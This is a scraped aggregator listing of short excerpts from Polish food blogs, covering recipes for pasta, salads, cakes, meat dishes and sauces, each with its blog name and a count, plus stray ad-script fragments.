Pappardelle z jarmużem w sosie maślano-cytrynowym / Pappardelle with kale in butter-lemon sauce 107

makaron zacznie się mocno gotować dodaj do niego 4 łyżki zimnego masła, mieszaj i cały czas podgrzewaj na dużym ogniu. Gdy masło sie rozpuśći i utworzy się gęsty sos maślany, makaron jest gotowy. Podawaj go od razu, posypany serem typu parmezan. Today I invite you to a pasta dinner. I love pasta, I can eat it in a million ways

Delicious Place
Szarlotka szwedzka z cynamonem 192

wstaw do piekarnika nagrzanego do 190 stopni i piecz 40 – 45 minut. Po wyjęciu zostawiamy do całkowitego wystudzenia. Posypujemy cukrem pudrem. Szwedzi podają szarlotkę z gałką lodów lub sosem waniliowym. Zachęcamy do sprawdzenia innych naszych przepisów na ciasta. Polecamy: ciasto malinowa chmurka , sernik gotowany na herbatnikach , pijak ciasto bez pieczenia oraz pyszny jabłecznik z pianką . Szarlotka szwedzka Äppelpaj przepisy

Kuchnia Na Wypasie
Fava - pikantne puree z grochu 130

wolimy chrupiące skwarki z boczku lub słoniny. W Grecji fava  i oliwa z oliwek to tandem idealny. Takie puree z grochu podaje się jako przystawkę, pastę do kanapek, sos do sałatek i nie tylko. Do tego pomidor, ogórek, bazylia lub inny prosty dodatek i pyszny posiłek gotowy. Groch to prawdziwa skarbnica wszelakiego dobra. Żółty groch łuskany to błonnik, białko

Dieta moja pasja
Przepis na langosze 117

pączki według Rączki .   Z czym podawać langosze? Jak widać przepis na langosz jest bardzo prosty. Masło czosnkowe, ser, śmietana to podstawowe dodatki do langosz. Bardziej bogate wersje to sos czosnkowy, szynka,  papryka, pomidor, kukurydza. Można także spotkać langosze z łososiem czy pastą z tuńczyka, to już bardziej wariacje na ten prosty placek. Nie można pominąć wersji na słodko

Dieta moja pasja
Klopsiki indycze z warzywami z turecką nutą 128

związanej przy chorobach tarczycy i insulinoporności. Dzisiaj polecam klopsiki z mielonego indyka, z tego co było akurat w lodówce, czyli z warzywami, mogą być morzone szczególnie zimą, w pomidorowym sosie z turecką pastą paprykową. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Polska - Szare kluski z wegańskim twarogiem, smażoną cebulką i ogórkiem kiszonym 128

wcześniej dodane przepisy na  szare kluski  i  wegański gzik , które tylko nieznacznie zmodyfikowaliśmy. A miłośnikom tradycyjnej polskiej kuchni polecamy również przepis na  kotlety ziemniaczane z sosem z ogórków kiszonych .  Składniki (4 porcje): - 750 g ziemniaków  Twaróg   - 3 łyżki kaszy jaglanej (około 40 g)  - 100 ml wody z ogórków kiszonych

Roślinożerni urlopowicze
Sałatka z gotowanych buraków 107

Sałatka z gotowanych buraków to pomysł na ekspresową kolację. Tylko 3 składniki plus sos jogurtowy i gotowe! W tym tygodniu w ramach lutowej odsłony akcji Kalendarz Smaków przedstawiam Wam pomysły na dania z burakiem. Dziś będzie coś niesamowicie prostego, bo przecież takie przepisy są zawsze w cenie. Zdrowe odżywianie nie wymaga od nas wcale stania godzinami w kuchni

Wiszniówka
Pączki luksusowe 130

posypaną mąką stolnicę. Przykryć i niech znów podrosną ok 30 minut. Przygotować lukier. Cukier puder wsypać do miseczki, dodawać po łyżce soku z cytryny i mieszać, aż powstanie zawiesisty sos, lukier. Nie może być za gęsty. Do miseczek wsypać skórki kandyzowane. Rozgrzać olej w głębokim rondelku tyle aby pączki swobodnie pływały. Przygotować tacę wyłożoną ręcznikiem papierowym. Konfiturę nałożyć do tortowej

gotuj ze mną
Roladki z tortilli panierowane 170

bułce i smażymy na oleju na małej mocy palnika z każdej strony. Przekładamy na ręcznik papierowy, a następnie podajemy na ciepło. Roladki z tortilli panierowane doskonale smakują z sosem czosnkowym. Zachęcamy do sprawdzenia innych naszych przepisów na roladki. Polecamy: roladki z udek kurczaka nadziewane pieczarkami, roladki schabowe z piekarnika z ziemniakami. Życzymy smacznego! Artykuł Roladki z tortilli panierowane pochodzi

Kuchnia Na Wypasie
BITES KFC CZYLI CHRUPIĄCE KĄSKI KURCZAKA / IDEALNA PANIERKA I 12 POWODÓW, DLA KTÓRYCH WARTO WPROWADZIĆ OLEJ RZEPAKOWY DO DIETY J 160

pływały. Wkładamy po kilka kawałków i smażymy na dosyć wolnym ogniu przez kilka minut, obserwując stopień zrumienienia. Usmażone kawałki odsączamy na ręczniku. Podajemy natychmiast z frytkami i sosem pomidorowym! Pycha! Złoto z polski pól, czyli olej rzepakowy ze względu na swoje działanie i właściwości zdrowotne ma szerokie zastosowanie nie tylko w kuchni, ale i w medycynie czy kosmetyce. Co ciekawe

Ostra na Słodko
Śniadaniowa pizza na tortilli 123

fantazja więc kto mi zabroni? I tak powstała pizza śniadaniowa tortilla. W dodatku to śniadanie z resztek, zero waste tego co było lodówce. Wykorzystałam podsychający placek tortilli, trochę domowego sosu bbq, resztki chorizo, świeże warzywa, ser i jajko. I jak? Kto się skusi na takie śniadanie, taką wersję pizzy? Czytaj więcej

Bernika - moj kulinarny pamietnik
Chaczapuri adżarskie w dwóch wersjach, pomysł na obiad 323

drobniutko , podsmaż, dodaj mięso, ponownie smaż aż się zezłoci. Na koniec wlej Ajwar lub Pinżdżur i koncentrat. Dopraw czosnkiem, solą i ostrą papryką do smaku. Chwilę podduś aż odparuje sos, a mięso stanie się kleiste Wystudź. (adsbygoogle = window.adsbygoogle || []).push({}); Drożdże rozpuść w ciepłym mleku z cukrem i 2 łyżkami mąki, odstaw aż zaczną rosnąć w ciepłe miejsce. Do robota

Ogrodnik w podróży
Ciastka z jabłkami jak z McDonald’s 98

rozgotowane, tak aby były jeszcze w słodkim płynie powstałym z wody i przypraw. Na koniec należy zagęścić płyn mąką kukurydzianą lub jak wolisz mąką ziemniaczaną, choć wtedy sos nabierze nieco formy kisielu. Musisz obserwować swoje jabłka, dobrać do nich ilość płynu i czas przygotowania tak aby wyszło pyszne nadzienie. Rozłóż ciasto francuskie. Ciasto pokrój najpierw wzdłuż na pół, a następnie

nietylkopasta.pl
Keto Walentynki 163

bananów (jeśli przyzwalacie sobie na ich konsumpcję). Jednak na Keto Walentynki najlepiej sprawdzą się właśnie truskawki . 🙂 Dobrą alternatywą będzie przygotowanie fondue czekoladowego, podczas którego macza się owoce w sosie czekoladowym. Jest to w dodatku deser do dzielenia się między sobą, co zdecydowanie zbliża uczestników walentynkowego posiłku :). Warunkiem jest użycie niskowęglowodanowej czekolady . Jeśli macie ochotę zaszaleć, to zamiast fondue, możecie zorganizować

Modern Cave Girl
Krewetki smażone z czosnkiem i natką pietruszki 114

masło. Dzisiaj to główny składnik dania (poza krewetkami). Rzadko używam masła do smażenia, ale akurat tutaj nie wydziwiałam. Tak ma być i kropka. To ono finalnie tworzy genialny sos, które dobrze wchodzi z pieczywem, jakie podacie do krewetek. Koniecznie z białym pieczywem. Owoce morza jem bardzo rzadko, bo nie ma mi kto w domu towarzyszyć. Piszę o My. To jest

Kardamonovy
Trifle, angielski deser 132

odżywczych jak również walorach wizualnych. Wygląda bardzo apetycznie. Ciekawym składnikiem są nasiona chia, które posiadają między innymi, zdolność do wchłaniania cieczy i tworzenia żelu, można je stosować do zagęszczania sosów. Tutaj został dodany do jogurtu , typu greckiego, dzięki czemu deser jest zwarty i trzyma fason:)) Zapraszam i szczerze polecam, szybko, ekonomicznie i bardzo apetycznie… Składniki 4 bułeczki maślane, słodkie

gotuj ze mną
Czebureki bez mięsa. 170

dość sporo, zlepiam brzegi dociskam je za pomocą widelca, tworząc pierogi. Na patelni rozgrzewam tłuszcz, smażę pierogi z obu stron na złoty kolor. PS. Czebureki można podawać z ulubionym sosem, np. czosnkowym. Artykuł Czebureki bez mięsa. pochodzi z serwisu Blog kulinarny Ania gotuje

Ania gotuje
Labneh – serek z jogurtów greckich do smarowania 117

dodając do niego niewielką ilość soli, otrzymamy smarowny serek zwany Labneh. Kremowego serka możesz używać tak samo jak serka typu Almette: do smarowania pieczywa, naleśników, czy do stworzenia kremowego sosu do makaronu. Przygotowanie swojskiego sera bardzo cieszy i daje mnóstwo satysfakcji! (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Ziołowy serek z jogurtów greckich o smarownej konsystencji 5 od 1 osoby Autor: Paweł Clad

ProstePesto.pl
Schab na kanapki 197

Poza tym przygotowany w ten sposób schab możesz wykorzystać jako pomysł na szybki mięsny obiad. Wystarczy, że pokroisz go w odpowiedniej grubości plastry i podasz na gorąco z ulubionym sosem. Domowy schab na kanapki to świetna wędlina bez sztucznych dodatków i polepszaczy smaku. Tylko czyste mięso i aromatyczne przyprawy. W naszym przepisie na gotowany schab na kanapki nie znajdziesz również

Kuchnia Na Wypasie
Papryka faszerowana mięsem z indyka 145

jest to nasze marzenie od dawna. I bynajmniej nie tylko o zabytki nam chodziło, ale także o kuchnię meksykańską,  Chciałam wreszcie spróbować podawanego z mięsem indyczym oryginalnego sosu mole poblano, którego historia sięga początków czasów kolonialnych. Oczami wyobraźni widziałam, jak delektujemy się tamales przygotowanymi w liściach bananowca czy aztecką salsą. Ale plany muszą poczekać. Opowiem więc dzisiaj o kuchni

Cztery Fajery
Sałatka z Makaronem – TOP 12 Pysznych Przepisów Które Musicie Wypróbować! 124

dlatego też na pewno znajdziecie coś idealnego dla siebie. Smacznego! 1. Sałatka z makaronem, świeżym ogórkiem i szynką Przepis: Przepiski.pl (adsbygoogle = window.adsbygoogle || []).push({}); 2. Sałatka z makaronem ryżowym i sosem czosnkowym Przepis na: mniammniam.com (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sałatka z Makaronem – TOP 12 Pysznych Przepisów Które Musicie Wypróbować! pochodzi z serwisu Damusia.pl

Damusia.pl
Przepisy na babki. Odkryj babki kokosowe, jabłkowe i karmelowe! 117

niej mleko bez laktozy. Innym pomysłem na przepyszny deser jest babka z jabłkami i karmelową glazurą. Smak jabłek dodatkowo podkreślony jest imbirem i cynamonem. Słodyczy dodaje zaś całości przepyszny sos karmelowy. Babka idealnie nadaje się na jesienne i zimowe wieczory. Jest też idealna dla miłośników słodkości. Z kolei fani lekko kwaskowatych smaków z pewnością będą zachwyceni babką kokosową z lukrem

Żyję by jeść
Sałatka z buraków z cebulą, jabłkiem i ogórkami kiszonymi 106

punkt. Czuć w niej te składniki, na których najbardziej mi zależało. Są buraki, są ogórki, jest i cebula. Reszta dobrze uzupełniła tę trójkę. Zjedliśmy ją z pulpetami w sosie pomidorowo-koperkowym (przepis za parę dni wjedzie na bloga) z ziemniakami. Wyszedł z tego naprawdę sympatyczny, typowo domowy, obiad. Składniki: 3 większe buraki 3 ogórki kiszone 1 większe jabłko 1 średnia

Kardamonovy
Tofu z kalafiorem bez soli 128

Chcę Cię tam zaprosić. Dlatego, że to nie moje pierwsze danie bez dodatku soli, poniżej znajdziesz inne propozycje Łosoś ze słodkim ziemniakiem Kurczak z ryżem Miska Burrito Indyk w sosie rzodkiewkowym i purée z marchwi Artykuł Tofu z kalafiorem bez soli pochodzi z serwisu Możesz nie mieć nic... Ale jeśli masz pasje... to tak jak byś miał wszystko

RafalCook
Miska Burrito bez soli 136

zaprosić. Dlatego, że to nie moje pierwsze danie bez dodatku soli, poniżej znajdziesz inne propozycje Kurczka z ryżem bez soli Łosoś ze słodkim ziemniakiem bez soli Indyk z sosem rzodkiewkowym i purée z marchwi bez soli ⭐ Rating: 1 out of 5. Artykuł Miska Burrito bez soli pochodzi z serwisu Możesz nie mieć nic... Ale jeśli masz pasje

RafalCook
Filet z kurczaka w panierce z ciecierzycy 143

Przepis jest banalnie prosty i szybki w przygotowaniu. Mąka z ciecierzycy jest bardzo zdrowym odpowiednikiem mąki pszennej. Ciasto ma konsystencję gęstszą niż ciasto na naleśniki.  Polecam z sosem czosnkowym i dodatkiem gotowanych warzyw. 1 podwójny filet z kurczaka Sól Pieprz Przyprawa do mięsa Czosnek granulowany 5 jajek 4,5 łyżki mąki z ciecierzycy Filet z kurczaka kroimy na małe

VioletoweKucharzenie
Spaghetti z soczewicą i suszonymi pomidorami w pesto brokułowym 144

Spaghetti z mięsem mielonym i sosem pomidorowym opatrzyło się już wam serdecznie? A może chcecie zaskoczyć swoją rodzinę tradycyjną potrawą w odmienionej wersji? Jeżeli tak to ta propozycja jest dla was. Dzięki dodatkowi soczewicy oraz suszonych pomidorów danie nabiera ciekawego charakteru a czosnek idealnie podbija smak kurczaka oraz brokułowego pesto. Dodatkowo  zielony kolor makaronu może zaciekawić naszych milusińskich

Świat Smaku
Mięsiwo po szlachecku z cebulką w słoiku, idealne na kanapki 153

jako półprodukt na ciepło np. w gulaszu. Wszystko dzięki dodatkowi smażonej cebulki i ziół Taki słoik, żeby posłużył jako obiad, wystarczy przełożyć jego zawartość do rondelka, podgrzać i sos zagęścić mąką. Gotowe, teraz kasza lub ziemniaki i niebo na talerzu .. Polecam naprawdę, każdy wysiłek wart jest zdrowia a zdrowie jest bezcenne.. nie zastąpione składniki na około 8-9 sztuk

Ogrodnik w podróży
Wołowina duszona w winie 132

Wołowina duszona w winie to pyszne danie, które sprawdzi się zarówno na co dzień, jak i od święta. Mięciutkie i rozpływające się w ustach mięso wołowe, otoczone delikatnym winnym sosem. Łatwe przygotowanie, ale z nieco dłuższym czasem duszenia, aby później cieszyć się rewelacyjnym smakiem. Kiedyś obawiałam się przygotowywania mięsa wołowego, gdyż myślałam, że trudno zrobić je tak, aby było miękkie

Kuchcik gotuje
Domowa lazania z ricottą, parmezanem i szałwią. Kuchnia włoska! 133

Tobą innym razem. Polecam na początek użycie gotowych płatów makaronu, lub sięgnąć po dowolny makaron, jaki masz w szafce kuchennej.   PRZEPIS NA DOMOWĄ LAZANIĘ Z ZIEMNIACZANO- SEROWYM SOSEM, PARMEZANEM I SZAŁWIĄ składniki; - makaron na lazanie - włoska oliwa z oliwek - 8 małych ugotowanych ziemniaków - 250 g serka ricotta lub serka tłustego śmietankowego ze Strzałkowa - gałka muszkatołowa - 1 malutka cukinia

SMYKWKUCHNI
PASTA Z TUŃCZYKA I AWOKADO 117

Dziś smaczna pasta na kanapki bądź super przekąska na krakersach. Polecam bo to jedna z moich ulubionych.  Składniki: 1/2 puszki tuńczyka w sosie własnym 1/2 dojrzałego awokado 3 jajka   dymka ze szczypiorkiem  sól,pieprz 2 łyżki jogurtu naturalnego kiełki rzodkiewki  sok z cytryny Jajka ugotować na twardo, obrać i zetrzeć na grubej tarce. Awokado również

Niespełnione zdolności kulinarne
Czosndog czyli hot dog po polsku 121

Posypujemy pokrojoną cebulką, szczypiorkiem oraz prażoną cebulą. Dodajemy do smaku majonez oraz keczup. Oczywiście każdy może dowolnie dobrać dodatki i kolejność ich nakładania. Do czosndogów idealnie pasuje domowej roboty sos czosnkowy. Zachęcamy również do sprawdzenia innych naszych przepisów na domowy fast food. Polecamy: doskonała zapiekanka gyros , pyszna zapiekanka cheeseburger , świetne duńskie hot dogi røde pølser oraz domowy kebab w tortilli

Kuchnia Na Wypasie
Ravazzate alcamesi – włoskie ciasteczka z pistacjami 133

miasta Alcamo, usytuowanego niedaleko Palermo. Po raz pierwszy były one wypiekane w starożytnym zakonie. Tak naprawdę, tradycyjnie ravazzate kojarzone są raczej z wytrawnymi wypiekami, przeważnie przygotowuje je się z sosem mięsnym i groszkiem. Wersja słodka natomiast pochodzi jeszcze ze starożytności. Podobno po raz pierwszy przygotowały je siostry zakonne z okolic Alcamo. Dziś racazzate alcamesi są bardzo dobrze znane w okolicy

365 dni dookoła kuchni
Ciasto francuskie ze szpinakiem i serem 144

minut. Na ostatnie 5 minut pieczenia włączamy tylko dolną grzałkę. Po lekkim ostudzeniu kroimy na porcje. Ciasto francuskie ze szpinakiem i serem świetnie smakuje z domowym sosem czosnkowym. Zapraszamy do zapoznania się z innymi naszymi propozycjami na przekąski. Polecamy: chrupiące tortellini z serem , mini pizze z kiełbasą i serem , kurczak z KFC – przepis na panierkę oraz domowy chicken burger

Kuchnia Na Wypasie
Sałatki idealne na lunch do pracy 121

Ciebie pięć sprawdzonych przepisów na zdrowe, pożywne i szybkie sałatki, które łatwo przygotować i które smakują właściwie każdemu. Będą idealne na lunch do pracy. Sałatka kurczaka z jogurtowo-musztardowym sosem Sałatka z kurczaka potrafi nie jedno mieć imię. Na pewno zdarzyło ci się zamówić w restaurację sałatkę z kurczaka bez wyrazu i smaku. Kurczak sam w sobie nie wiele tutaj

Niedzielny kucharz
Keto ciasto z pianką wiśniową (Paleo, LowCarb) 132

zblendować. Połączyć z ubitą masą kokosową. Tężejącą masę wylać na piernikowy spód. Wstawić do lodówki. Ganache czekoladowy Czekoladę rozpuścić w kąpieli wodnej. Wymieszać z mlekiem kokosowym na gęsty sos. Ostudzić lekko i jeszcze płynną masę równomiernie rozsmarować na wiśniowej piance. Udekorować konfiturą wiśniową i posypać płatkami migdałowymi. Wstawić z powrotem do lodówki na minimum 2h do pełnego stężenia. Notes Przybliżona

Modern Cave Girl
Jak pomóc dziecku z nadwagą lub otyłością? 96

przedstawiam Wam kilka propozycji na ulubione śniadania mojej dwulatki, które nie wymagają dużych nakładów czasowych: jaglanka wzmacniająca odporność, owsianka raffaello , manno-omlecik, omlet kakaowy , owsianka z malinami , jaglanka z sosem bananowym . Kaszę jaglaną moczę przez noc, wówczas rankiem jej ugotowanie trwa około 10 minut! Po piąte dostosuj porcję do wieku Twojego dziecka Niestety Rodzice, szczególnie tych najmłodszych dzieci, mają skłonność

Natka Pietruszki
Karkówka z pieczarkami i cebulą 247

miękkość ryżu. Jeżeli jest jeszcze twardy, należy podlać odrobinę rosołu. Karkówka z pieczarkami i cebulą gotowa. Zachęcamy do sprawdzenia innych naszych przepisów na karkówkę: Polecamy: pyszna karkówka wieprzowa w sosie własnym , niekwestionowany hit naszego bloga, czyli domowa karkówka na kanapki oraz soczyste kotlety z karkówki w chrupiącej panierce . A także idealna propozycja na zimę, czyli karkówka jak z grilla Życzymy

Kuchnia Na Wypasie
Pasta z czerwonej fasoli z zielonym pieprzem 131

pieprzu. I od tamtej pory kupowany jest jest stale przez nas kupowany. Ma wyjątkowy smak i bogaty aromat, a przy tym delikatniejszy niż czarny. Jest wspaniałym dodatkiem do past, sosów czy ryb.   Składniki: 1 puszka czerwonej fasoli 1 cebula 2 łyżki oleju sól i pieprz do smaku 1 łyżeczka marynowanego pieprzu  C ebulę pokroić w kostkę

AZgotuj!
Jak usmażyć filet z kurczaka – sprawdzony przepis 137

ogień. Mięso powinno być mocno przypieczone z zewnątrz, ale białe i soczyste w środku. Zdejmij mięso z patelni i odstaw na talerz na 5 minut do przestygnięcia. Polej filety sosem balsamicznym. Podawaj z ryżem, kaszą lub gotowanymi warzywami. Artykuł Jak usmażyć filet z kurczaka – sprawdzony przepis pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Domowa granola czekoladowa z mascarpone i malinami 142

rozgrzać na 170 stopni, góra , dół. Na blachę do ciasta wsypać płatki, dodać orzechy , wymieszać. Do rondelka dodać: miód, cukier, kakao, olej, podgrzewać do połączenia składników i powstania gęstego sosu. Wylać na blachę , wymieszać z płatkami. Jeżeli masa jest zbyt sypka dodać miodu, musi się lepić. Wstawić do piekarnika na 30 – 35 minut, co jakiś czas przemieszać łyżką

gotuj ze mną
Gulasz z żołądków drobiowych 106

kolejną potrawę, w której je zagospodarujemy, gdy są one w pełni wartościowymi składnikami! W taki właśnie sposób powstał mój kolejny (ekonomiczny) przepis na gulasz z żołądków drobiowych, w słodkawym sosie, z udziałem kukurydzy i groszku konserwowanego! Jest doskonałym komponentem do makaronów, do kasz, czy ryżu i razem z nimi jest już pełnowartościowym daniem obiadowym! Ja zrobiłem wersję z kaszą

R'n'G Kitchen
Kanelbullar – szwedzkie bułeczki z cynamonem 109

mlekiem, a przed włożeniem do piekarnika posyp je migdałami. Kanelbullar piecz przez 10 minut w temperaturze 200 stopni. Zobacz też inne przepisy na słodkie przekąski Pieczone jabłka w sosie karmelowym Jak zrobić faworki Kokosowy pudding chia z malinami Scones – brytyjskie bułeczki Trufle czekoladowe Mus czekoladowy z trzech składników Zobacz też nowe przepisy Kanelbullar – szwedzkie bułeczki z cynamonem Barszcz czerwony

okolicepalnika.pl
Naleśniki wytrawne 191

odwrócony do góry dnem. Serwis: Jak już usmażyliśmy górę naleśników, to z czym je podawać? Można: nadziać je najlepszym na świecie farszem – przepis znajdziecie TUTAJ , trzeba go ułożyć na sosie pomidorowym, posypać serem i zapiec posmarować serkiem kanapkowym, dodać wędlinę i sałatę, złożyć i mamy kanapki posmarować ulubioną pastą, zwinąć w rulonik i pokroić w plastry zapiec z serem zrobić

ladykitchen
LANGOSZ 159

kulki), każdą z nich rozwałkowujemy na małe placki.  Każdy  placek smażymy w rozgrzanym głębokim oleju, z każdej strony na złoty kolor ( jak pączki).  Podawać można różnymi sosami, z masłem czosnkowym lub tradycyjnie, z kwaśną smietaną i tartym żółtym serem.  Smacznego

pieprzny smaczek
10 PRZEPISÓW NA PROSTE I SMACZNE DESERY 207

Łatwy i szybki do zrobienia. Polecam :) DESER BANOFFEE, CZYLI DESER Z MASCARPONE, TOFFI, CIASTKAMI I BANANAMI-  przepis tutaj Deser ten powstał na podstawie znanego ciasta banoffee pie. Mascarpone, sos toffi, banany i kruche ciastka. Tylko kilka składników i wyczarować można pyszny, słodki deserek gotowy dosłownie w 20 minut. Przygotujcie go a na pewno zachwycicie nim każdego, zarówno domownika

Zrób to smacznie
Sałatka makaronowa z tuńczykiem i serem 120

sałatka makaronowa z dodatkiem tuńczyka. Polecam na domowe imprezy  jak i zwyczajne dni. Składniki  możemy dowolnie modyfikować i zmieniać. 1 szklanka makaronu świderki 1 puszka tuńczyka w sosie własnym 1 niewielki por 1 puszka słodkiej kukurydzy 4 ugotowane jajka 1 zielony ogórek 150 g żółtego sera edamskiego Sól Pieprz 4-5 łyżek majonezu Makaron gotujemy w delikatnie osolonej

VioletoweKucharzenie
Roladki schabowe z piekarnika 379

mnóstwo. Pamiętajmy tylko o jednym. Schab jest mięsem suchym (o niskiej zawartości tłuszczu) i nie będzie tak soczysty jak np. karkówka lub łopatka. Możemy to zrównoważyć farszem lub pysznym sosem. Polecamy! Roladki schabowe z piekarnika Składniki: cienkie ( 3 – 4 mm ) kotlety ze schabu: 8 szt. szynka: 8 plasterków ser: kilka plasterków musztarda: 1 łyżka posiekana natka pietruszki: 2 łyżki

Kuchnia Na Wypasie
Kibbeh z dyni z nadzieniem z orzechów i fety 124

czasu aż będą rumiane. Gdy kibbehy będą usmażone, delikatnie przełożyć ja na talerz wyłożony ręcznikiem papierowym, aby osączyć je z nadmiar tłuszczu. Podawać natychmiast z dodatkiem świeżych warzyw i sosem czosnkowym.  Smacznego

Codzienne Gotowanie
Zimowa sałatka z selerem i cykorią 108

misek (lub do jednej dużej miski) kładziemy roszponkę i cykorię. Następnie układamy plastry buraka i gruszki, dodajemy wiórki selera i fetę. Posypujemy rodzynkami i ziarnami słonecznika. Całość polewamy sosem z octu balsamicznego. Podajemy od razu po przygotowaniu. Smacznego! Szukasz prostych i zdrowych przepisów? Dobrze trafiłaś! Zapisz się do mojego newslettera, a będę Ci przesyłać najciekawsze przepisy na szybkie i pożywne

Wiszniówka
Pesto z suszonych pomidorów i czosnku niedźwiedziego 118

cytryny i oliwę. Miksujemy pulsacyjnie tak długo, aż powstanie z tego nie za gładka masa, chodzi o to, żeby były wyczuwalne w konsystencji poszczególne części pesto. Taka forma sosu jest smaczniejsza, niż taka zmielona na śmierć. Jeżeli pesto wyszło Wam za gęste, dolejcie do niego więcej oliwy. Na koniec doprawiamy wszystko solą i świeżo zmielonym pieprzem, dodajemy starty ser, mieszamy

Kardamonovy
Właściwości smakowe i prozdrowotne kurkumy 134

może także zastąpić konsultacji z lekarzem (w razie wystąpienia jakichkolwiek dolegliwości). Kurkuma w kuchni Oprócz tego, że kurkuma jest składnikiem curry, dodaje się ją również do przyprawy garam masala, sosu Worcestershire, a nawet musztardy. Jako samodzielna przyprawa może być dodawana do ryżu, zup (np. marchewkowej), duszonych warzyw, pikantnych placków kukurydzianych. Można ją również stosować jako barwnik. Dosyć łatwo jednak można

Żyję by jeść
Tort naleśnikowy truskawkowo – czekoladowy 178

rodzaju placków, koniecznie wypróbujcie ten sposób. Na blogu pokazywałam już takie danie w wersji i na słodko i na wytrawnie, sprawdźcie poniższe przepisy: Tort naleśnikowy z szynką serem i sosem słodko kwaśnym Zielony tort naleśnikowy ze szpinakiem i kozim serem Tort naleśnikowy z mięsem Torcik naleśnikowy z twarożkiem miodowym, truskawkami i czarnym bzem Ten dzisiejszy tort to dzieło mojego synka

Dorota Smakuje
Sałatka z tuńczykiem i ryżem 162

inne sałatki znajdujące się w dziale Sałatki i surówki . (adsbygoogle = window.adsbygoogle || []).push({}); (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z tuńczykiem i ryżem – Składniki 100 g ryżu 1 opakowanie tuńczyka w sosie własnym bądź w oleju 1 opakowanie kukurydzy konserwowej 4 jajka na twardo pęczek szczypiorku 4 łyżki majonezu sól i pieprz (adsbygoogle = window.adsbygoogle || []).push({}); Sałatka z tuńczykiem i ryżem – Wykonanie

To Musisz Wiedzieć
Wątróbka drobiowa z pieczarkami. 129

Wątróbka drobiowa z pieczarkami. Jest to super pyszny przepis na wątróbkę drobiową z pieczarkami i cebulą z dodatkiem pysznego sosu . W krótkim czasie możemy cieszyć się smacznym i pysznym obiad . Tak więc wątróbka drobiowa z cebulką i pieczarkami to kolejny zdrowy i pożywny posiłek dla całej rodziny. Podajemy ją z chrupiącym chlebkiem albo ziemniakami . Wątróbka jest bogata w składniki odżywcze

Zdrowy Styl Joanny
Sałatka z mandarynką i awokado 151

bardzo niedokładny przepis. Nawet nie napisałam nic o wykonaniu, bo wydaje się zupełnie zbędne. Składniki wystarczy ułożyć na talerzu i skropić tym, czym lubicie najbardziej. Może to być sos ziołowy, winegret, może to być balsamico. Ja najpierw skropiłam sokiem z granatu, a następnie oliwą truflową.  Od kiedy odkryłam sałatkę na bazie czterech składników (zielone, owoc, bakalie, ser), kombinuję

bistro mama
Udka pieczone w marchewce i groszku 118

oleju, dodajemy groszek z marchewką, podlewamy 1 szklanką wody i gotujemy. 3.    Mąkę rozrabiamy ze śmietaną i pod koniec gotowania wlewamy hartując do warzyw. Chwilkę gotujemy aż sos się zagęści. 4.    Warzywa przekładamy do naczynia i na wierzch układamy udka z kurczaka. 5.    Danie gotowe. 6.    Smacznego

Kulinarna Chwila
Keto bounty – wegańskie batony kokosowe 277

keto przepisów Jeszcze więcej wegańskich przepisów Kotlety z buraka Pulpety jaglane Tortilla przepis na ciasto Chałwa bez cukru Ciasteczka cynamonowe Ciasto bananowe (wegańskie) Boczniaki po kaszubsku (wegańskie) Makaron w sosie szpinakowym Boczniaki w mięsnej marynacie Zobacz również #wegetariańskie #wegańskie #słodkości #batony #fatbombs #praliny #czekolada #czekoladagorzka #odżywkabiałkowa #słodzik #cukier #olejkokosowy #wiórkikokosowe #mleczkokokosowe #bezlaktozy #bezglutenu #bezjajek #bezcukru #bezorzechów #keto #ketosłodycze #LowCarb #dietacukrzycowa

WegePrzepis
Sałatka warstwowa z tuńczykiem 163

najpopularniejszych sałatek warstwowych. Idealna na specjalne okazje i na spotkania przy wspólnym stole. Składniki oraz sposób przygotowania: Warstwy od spodu: starte białko jaja starty żółty ser tuńczyk w sosie własnym (odsączony) majonez posiekana cebula ze szczypiorkiem druga warstwa tuńczyka posiekana cebula ze szczypiorkiem kukurydza majonez skruszone żółtko jaja i szczypiorek do dekoracji Proporcje wedle uznania, można nawet pominąć jedną warstwę

Wasze Przepisy
Surówka z kapusty pekińskiej z marchewką i porem 143

niej drobno pokrojonego w półplasterki pora, a także startą na największych oczkach marchew. Majonez, jogurt, sok z cytryny i cukier wrzucamy do słoiczka, zamykamy i energicznie mieszamy. Powstały sos wlewamy do surówki. Doprawiamy do smaku solą i świeżo zmielonym pieprzem, dodajemy poszatkowany koperek. Wszystko mieszamy i wkładamy do lodówki na minimum 3 minut, żeby smaki się połączyły. Artykuł Surówka

Kardamonovy
Kiełbaski we francuskich papilotkach wg Aleex 138

prościutkiej przekąski, która doskonale sprawdzi się na wszystkich imprezach. Przygotowuje się ją zaledwie kilka minut, a smak jest naprawdę świetny. Kiełbaski we francuskich papilotkach można podawać z różnymi dipami, sosami, pysznie smakują z barszczykiem. Jak je zjecie, zależy wyłącznie od Was. Nie zapomnijcie ich jednak zrobić, bo warto.   Składniki :  • 1 płat gotowego ciasta francuskiego  • 3 kiełbaski myśliwskie

W mojej kuchni
Jak spróbować wszystkich 12 potraw wigilijnych, nie przejadając się? 139

przy tym „spalonych” kalorii! Wybierz wersję fit Do sałatki jarzynowej dodaj jogurt naturalny zamiast majonezu, rybę upiecz zamiast smażyć na głębokim tłuszczu a śledzie zamiast w oleju podaj z sosem chrzanowym na bazie serka bądź jogurtu. Zaoszczędź sobie niepotrzebnych kalorii! Jak to niektórzy mówią… kalorie w święta się nie liczą! Niestety liczą się, ale przede wszystkim liczy się

kuron.com.pl
Zdrowy i pożywny lunch – co warto zamówić w Krakowie? 140

sobą oferują unikalne doznania smakowe. Jego bazę stanowi gotowany ryż na bazie octu jabłkowego, surowe ryby, owoce morza, warzywa, wodorosty oraz dodatki – świeży imbir, ostry chrzan wasabi i sos sojowy. W składzie sushi nie ma zbędnych konserwantów, gdyż jest ono przygotowywane bezpośrednio przed dostarczeniem do klienta. Szeroki wybór zestawów sushi pozwala z kolei na skomponowanie idealnego zestawu lunchowego, który

sierotka maRysia w kuchni
Sałatka z kurczakiem, winogronami i migdałami 135

